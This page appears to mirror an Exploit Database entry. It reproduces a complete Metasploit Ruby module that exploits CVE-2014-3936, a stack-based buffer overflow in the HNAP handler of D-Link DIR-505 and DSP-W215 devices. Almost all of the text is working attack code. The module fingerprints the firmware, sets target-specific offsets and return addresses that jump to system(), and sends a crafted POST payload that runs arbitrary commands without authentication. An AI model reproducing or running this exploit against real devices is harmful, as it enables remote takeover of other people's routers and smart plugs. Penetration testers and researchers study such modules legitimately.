D-Link HNAP – Request Remote Buffer Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2014-07-14
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/34064/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'D-Link HNAP Request Remote Buffer Overflow',
  'Description'=> %q{
  This module exploits an anonymous remote code execution vulnerability on different
  D-Link devices. The vulnerability is due to an stack based buffer overflow while
  handling malicious HTTP POST requests addressed to the HNAP handler. This module
  has been successfully tested on D-Link DIR-505 in an emulated environment.
  },
  'Author' =>
  [
  'Craig Heffner', # vulnerability discovery and initial exploit
  'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
  ],
  'License'=> MSF_LICENSE,
  'Platform' => 'linux',
  'Arch' => ARCH_MIPSBE,
  'References' =>
  [
  ['CVE', '2014-3936'],
  ['BID', '67651'],
  ['URL', 'http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/'], # blog post from Craig including PoC
  ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10029']
  ],
  'Targets'=>
  [
  #
  # Automatic targeting via fingerprinting
  #
  [ 'Automatic Targeting', { 'auto' => true }],
  [ 'D-Link DSP-W215 - v1.0',
  {
  'Offset'=> 1000000,
  'Ret' => 0x405cac, # jump to system - my_cgi.cgi
  }
  ],
  [ 'D-Link DIR-505 - v1.06',
  {
  'Offset'=> 30000,
  'Ret' => 0x405234, # jump to system - my_cgi.cgi
  }
  ],
  [ 'D-Link DIR-505 - v1.07',
  {
  'Offset'=> 30000,
  'Ret' => 0x405c5c, # jump to system - my_cgi.cgi
  }
  ]
  ],
  'DisclosureDate' => 'May 15 2014',
  'DefaultTarget'=> 0))
  
  deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
  end
  
  def check
  begin
  res = send_request_cgi({
  'uri' => "/HNAP1/",
  'method'=> 'GET'
  })
  
  if res && [200, 301, 302].include?(res.code)
  if res.body =~ /DIR-505/ && res.body =~ /1.07/
  @my_target = targets[3] if target['auto']
  return Exploit::CheckCode::Appears
  elsif res.body =~ /DIR-505/ && res.body =~ /1.06/
  @my_target = targets[2] if target['auto']
  return Exploit::CheckCode::Appears
  elsif res.body =~ /DSP-W215/ && res.body =~ /1.00/
  @my_target = targets[1] if target['auto']
  return Exploit::CheckCode::Appears
  else
  return Exploit::CheckCode::Detected
  end
  end
  rescue ::Rex::ConnectionError
  return Exploit::CheckCode::Safe
  end
  
  Exploit::CheckCode::Unknown
  end
  
  def exploit
  print_status("#{peer} - Trying to access the vulnerable URL...")
  
  @my_target = target
  check_code = check
  
  unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
  fail_with(Failure::NoTarget, "#{peer} - Failed to detect a vulnerable device")
  end
  
  if @my_target.nil? || @my_target['auto']
  fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...")
  end
  
  print_status("#{peer} - Exploiting #{@my_target.name}...")
  execute_cmdstager(
  :flavor=> :echo,
  :linemax => 185
  )
  end
  
  def prepare_shellcode(cmd)
  buf = rand_text_alpha_upper(@my_target['Offset'])# Stack filler
  buf << rand_text_alpha_upper(4)# $s0, don't care
  buf << rand_text_alpha_upper(4)# $s1, don't care
  buf << rand_text_alpha_upper(4)# $s2, don't care
  buf << rand_text_alpha_upper(4)# $s3, don't care
  buf << rand_text_alpha_upper(4)# $s4, don't care
  buf << [@my_target.ret].pack("N")# $ra
  
   # la $t9, system
   # la $s1, 0x440000
   # jalr $t9 ; system
   # addiu $a0, $sp, 0x28 # our command
  
  buf << rand_text_alpha_upper(40)# Stack filler
  buf << cmd# Command to execute
  buf << "\x00" # NULL-terminate the command
  end
  
  def execute_command(cmd, opts)
  shellcode = prepare_shellcode(cmd)
  
  begin
  res = send_request_cgi({
  'method' => 'POST',
  'uri' => "/HNAP1/",
  'encode_params' => false,
  'data' => shellcode
  }, 5)
  return res
  rescue ::Rex::ConnectionError
  fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
  end
  end
  end